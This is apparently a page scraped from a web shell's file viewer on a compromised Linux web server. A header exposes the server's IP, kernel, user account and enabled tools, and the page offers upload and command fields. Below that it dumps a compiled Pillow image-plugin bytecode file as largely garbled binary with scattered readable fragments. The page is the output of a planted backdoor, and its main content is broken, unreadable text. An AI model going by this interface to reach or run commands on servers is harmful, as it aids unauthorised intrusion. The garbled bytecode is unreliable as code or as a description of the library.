403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/calpy/PIL/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/calpy/PIL/__pycache__/PpmImagePlugin.cpython-311.pyc
�

Υ=jg0���ddlmZddlZddlmZddlmZmZddlm	Z
ddlmZddlmZ
d	Zd
ddd
ddd
dddd
d�Zd)d�ZGd�dej��ZGd�dej��ZGd�dej��Zd*d$�Zejejee��ejeje��ejd%e��ejd&e��ejejgd'���ejejd(��dS)+�)�annotationsN)�IO�)�Image�	ImageFile)�i16be)�o8)�o32les 	

�1�L�RGB�CMYK�F�P�RGBA)�P1�P2�P3�P4�P5�P6sP0CMYK�PfsPyPsPyRGBAsPyCMYK�prefix�bytes�return�boolc�f�t|��dko|�d��o	|ddvS)N��Prs	0123456fy)�len�
startswith)rs �E/tmp/claude-1015/pip-target-jmvfl800/lib/python/PIL/PpmImagePlugin.py�_acceptr#1s4���v�;�;�!��U�� 1� 1�$� 7� 7�U�F�1�I��<U�U�c�.�eZdZdZdZd
d�Zd
d�Zdd�Zd	S)�PpmImageFile�PPMz
Pbmplus imagerrc��|j�J�d}td��D].}|j�d��}|r	|tvrn||z
}�/|S)Nr$�r)�fp�range�read�b_whitespace)�self�magic�_�cs    r"�_read_magiczPpmImageFile._read_magic=sb���w�"�"�"����q���	�	�A�����Q���A��
��\�)�)����Q�J�E�E��r$c��|j�J�d}t|��dkr�|j�d��}|sne|tvr|s�<nX|dkr:|j�d��dvr	|j�d��dv��}||z
}t|��dk��|sd}t	|���t|��dkrd|z}t	|���|S)Nr$�
r�#s
z Reached EOF while reading headers!Token too long in file header: %s)r*r r,r-�
ValueError)r.�tokenr1�msg�msg_too_longs     r"�_read_tokenzPpmImageFile._read_tokenIs����w�"�"�"����%�j�j�B�������Q���A��
���l�"�"������d����g�l�l�1�o�o�W�4�4���g�l�l�1�o�o�W�4�4���Q�J�E��%�j�j�B����	+�4�C��S�/�/�!�
��Z�Z�"�_�_�?�%�G�L��\�*�*�*��r$�Nonec��|j�J�|���}	t|}n#t$rd}t	|���wxYw||_|dvrd|_n|dvrd|_n|dvrd|_t|�����t|�����f|_	d}|d	vrd
}|dkrd}n�|d
krst|�����}|dkstj|��sd}t|���t|��|jd<|dkrdnd}|ddf}nt|�����}d|cxkrdksnd}t|���|dkr
|dkrd|_|}|d
kr|dkr	|dkrd}n|dkrd}|dkr|n||f}t!j|d|jz|j���|��g|_dS)Nznot a PPM file)rrzimage/x-portable-bitmap)rrzimage/x-portable-graymap)rrzimage/x-portable-pixmap�raw)rrr�	ppm_plainr�1;Irgz!scale must be finite and non-zero�scaler�F;32FzF;32BF���iz1maxval must be greater than 0 and less than 65536�r�I��I;16B�ppm�rr)r*r2�MODES�KeyError�SyntaxError�_mode�custom_mimetype�intr:�_size�float�math�isfiniter6�abs�infor�_Tile�size�tell�tile)	r.�magic_number�moder8�decoder_name�argsr@�rawmode�maxvals	         r"�_openzPpmImageFile._openes_���w�"�"�"��'�'�)�)��	#���&�D�D���	#�	#�	#�"�C��c�"�"�"�	#������
��>�)�)�#<�D� � �
�^�
+�
+�#=�D� � �
�^�
+�
+�#<�D� ���)�)�+�+�,�,�c�$�2B�2B�2D�2D�.E�.E�E��
����0�0�0�&�L��3�;�;��D�D�
�S�[�[��$�*�*�,�,�-�-�E���|�|�4�=��#7�#7�|�9�� ��o�o�%�!$�U���D�I�g��!&����g�g��G��Q��#�D�D���)�)�+�+�,�,�F��v�%�%�%�%��%�%�%�%�I�� ��o�o�%���|�|����� ��
��G��{�*�*��U�?�?�t�s�{�{�%�G�G��s�]�]�#(�L�*�e�3�3�7�7�'�6�9J�D��O�L�&�4�9�*<�d�g�l�l�n�n�d�S�S�
��	�	�	s	�
-�A	N�rr)rr;)�__name__�
__module__�__qualname__�format�format_descriptionr2r:r_�r$r"r&r&9s[������
�F�(��
�
�
�
�����87
�7
�7
�7
�7
�7
r$r&c�P�eZdZUdZded<dd�Zddd�Zdd�Zdd�Zdd�Z	dd�Z
dS)�PpmPlainDecoderTr�_comment_spansrrc�\�|j�J�|j�tj��S)N)�fdr,r�	SAFEBLOCK)r.s r"�_read_blockzPpmPlainDecoder._read_block�s'���w�"�"�"��w�|�|�I�/�0�0�0r$r�block�startrNc��|�d|��}|�d|��}||zdkrt||��nt||��S)N�
�
r)�find�min�max)r.rnro�a�bs     r"�_find_comment_endz!PpmPlainDecoder._find_comment_end�sN���J�J�u�e�$�$���J�J�u�e�$�$����E�A�I�I�s�1�a�y�y�y�3�q�!�9�9�4r$c�n�|jrA|r?|�|��}|dkr||dzd�}n|���}|�?d|_	|�d��}|dkrnH|�||��}|dkr|d|�||dzd�z}n|d|�}d|_n�d|S)NrBrFTr5)rirxrmrs)r.rn�comment_end�
comment_starts    r"�_ignore_commentsz PpmPlainDecoder._ignore_comments�s����	/��

/�"�4�4�U�;�;���"�$�$�"�+��/�"3�"3�4�E��!�,�,�.�.�E��

/�$���	�!�J�J�t�,�,�M���"�"���0�0��
�F�F�K��b� � ��n�}�n�-��k�A�o�6G�6G�0H�H����n�}�n�-��&*��#��	��r$�	bytearrayc��t��}|jj|jjz}t	|��|kr�|���}|sn�|�|��}d�|�����}|D](}|dvr"dt|g��z}t|����)||zd|�}t	|��|k��t�dd��}|�|��S)z�
        This is a separate method because in the plain PBM format, all data tokens are
        exactly one byte, so the inter-token whitespace is optional.
        r$)�0�1sInvalid token for this mode: %sNs01s�)
r}�state�xsize�ysizer rmr|�join�splitrr6�	maketrans�	translate)r.�data�total_bytesrn�tokensr7r8�inverts        r"�_decode_bitonalzPpmPlainDecoder._decode_bitonal�s��
�{�{���j�&���)9�9���$�i�i�;�&�&��$�$�&�&�E��
���)�)�%�0�0�E��X�X�e�k�k�m�m�,�,�F��
*�
*����(�(�<�u�e�W�~�~�M�C�$�S�/�/�)�)��6�M�<�K�<�0�D��$�i�i�;�&�&������4�4���~�~�f�%�%�%r$r^c�F�t��}d}|jdkrdnd}|jdkrdnd}tj|j��}|jj|jjz|z|z}d}t|��|k�r�|���}	|	s|rtd��}	n�nz|�	|	��}	|r||	z}	d}|	�
��}
|	rb|	d	d����sF|
���}t|��|krd
|d|dz�z}t|���|
D]�}t|��|krd
|d|dz�z}t|���t|��}
|
dkrd|
��}t|���|
|krd
|
��}t|���t|
|z|z��}
||jdkrt!|
��nt#|
��z
}t|��|krn��t|��|k���|S)Nr4rD�rrErCr$� rBs Token too long found in data: %srzChannel value is negative: z'Channel value too large for this mode: )r}rZr�getmodebandsr�r�r�r rmr|r��isspace�popr6rN�round�o32r	)r.r^r��max_len�out_byte_count�out_max�bandsr��
half_tokenrnr�r8r7�value�msg_strs               r"�_decode_blockszPpmPlainDecoder._decode_blocks�s^���{�{����"�i�3�.�.���A���9��+�+�%�%����"�4�9�-�-���j�&���)9�9�E�A�N�R���
��$�i�i�;�&�&��$�$�&�&�E��
���%�d�O�O�E�E���)�)�%�0�0�E��
!�"�U�*�� �
��[�[�]�]�F��
*�U�2�3�3�Z�/�/�1�1�
*�#�Z�Z�\�\�
��z�?�?�W�,�,�;�j��7�UV�;��>W�W��%�S�/�/�)��
�
���u�:�:��'�'�=��m��RS��m�@T�T�C�$�S�/�/�)��E�
�
���1�9�9�C�E�C�C�G�$�W�-�-�-��6�>�>�O��O�O�G�$�W�-�-�-��e�f�n�w�6�7�7���d�i�3�&6�&6��E�
�
�
�B�u�I�I�E���t�9�9��+�+��E�,�M�$�i�i�;�&�&�P�r$�buffer�$bytes | Image.SupportsArrayInterface�tuple[int, int]c�
�d|_|jdkr|���}d}n6|jd}|�|��}|jdkrdn|j}|�t
|��|��dS)NFrz1;8rBrD�I;32�rBr)rirZr�r\r��
set_as_rawr)r.r�r�r]r^s     r"�decodezPpmPlainDecoder.decodes���#����9�����'�'�)�)�D��G�G��Y�r�]�F��&�&�v�.�.�D� $�	�S� 0� 0�f�f�d�i�G�����d���W�-�-�-��ur$Nr`)r)rnrrorNrrN)rnrrr)rr})r^rNrr}�r�r�rr�)rarbrc�	_pulls_fd�__annotations__rmrxr|r�r�r�rfr$r"rhrh�s���������I�����1�1�1�1�
5�5�5�5�5�
 � � � �D&�&�&�&�21�1�1�1�f
�
�
�
�
�
r$rhc��eZdZdZdd�ZdS)	�
PpmDecoderTr�r�rr�c�4�|j�J�t��}|jd}|dkrdnd}|jdkrdnd}|jdkrdnd}t	j|j��}|jj|jjz|z|z}t|��|kr�|j�
||z��}	t|	��||zkrn�t|��D]r}
|dkr|	|
nt|	|
|z��}t|t||z|z����}||jdkrt|��nt!|��z
}�st|��|k��|jdkrd	n|j}|�t%|��|��d
S)NrB�rrrDr�rErCr�r�)rkr}r\rZrr�r�r�r�r r,r+�i16rtr�r�r	r�r)
r.r�r�r^�
in_byte_countr�r�r��dest_length�pixelsrwr�r]s
             r"r�zPpmDecoder.decode/s����w�"�"�"��{�{����2���#�c�\�\���q�
�"�i�3�.�.���A���9��+�+�%�%����"�4�9�-�-���j�&���)9�9�E�A�N�R���$�i�i�+�%�%��W�\�\�-�%�"7�8�8�F��6�{�{�]�U�2�2�2���5�\�\�
F�
F��!.�!�!3�!3�F�1�I�I��V�Q��EV�9W�9W���G�U�5�6�>�G�+C�%D�%D�E�E���d�i�3�&6�&6��E�
�
�
�B�u�I�I�E����$�i�i�+�%�%�!�I��,�,�&�&�$�)������d���W�-�-�-��ur$Nr�)rarbrcr�r�rfr$r"r�r�,s-�������I������r$r��im�Image.Imager*�	IO[bytes]�filename�str | bytesr;c��|jdkrd\}}nZ|jdkrd\}}nI|jdvrd\}}n:|jdvrd\}}n+|jd	krd
\}}nd|j�d�}t|���|�|d
|jzz��|dkr|�d��nS|dkr2|dkr|�d��n1|�d��n|dkr|�d��|jd	krdnd}t	j||t	jdd|jzd|d|f��g��dS)Nr)r?rr)rr)rDzI;16)rFr)r
r)r
rr)rArzcannot write mode z as PPMs
%d %d
rs255
rs65535
rs-1.0
rBrr=rHr)rZ�OSError�writerVr�_saverU)r�r*r�r]�headr8�	row_orders       r"r�r�Ms~��	�w�#�~�~�$�
����	��C���"�
����	��M�	!�	!�&�
����	��O�	#�	#�$�
����	��C���&�
����3�2�7�3�3�3���c�l�l���H�H�T�L�2�7�*�
*�+�+�+��u�}�}�
��������	
�����c�>�>��H�H�X������H�H�Z� � � � �	
����
��������g��n�n���!�I�
�O�
�B�������(8�!�g�q�)�=T�U�U�V�����r$rGr>)z.pbmz.pgmz.ppmz.pnmz.pfmzimage/x-portable-anymap)rrrr)r�r�r*r�r�r�rr;)�
__future__rrQ�typingr�rr�_binaryrr�r	r
r�r-rIr#r&�	PyDecoderrhr�r��
register_openrd�
register_save�register_decoder�register_extensions�
register_mimerfr$r"�<module>r�s�� #�"�"�"�"�"�������������������!�!�!�!�!�!�������!�!�!�!�!�!�
+�������������	�	��$V�V�V�V�c
�c
�c
�c
�c
�9�&�c
�c
�c
�TF�F�F�F�F�i�)�F�F�F�R������$����B����D���L�'��w�?�?�?����L�'��/�/�/����u�j�)�)�)����{�O�4�4�4����,�-�/W�/W�/W�X�X�X����L�'�)B�C�C�C�C�Cr$

Youez - 2016 - github.com/yon3zu
LinuXploit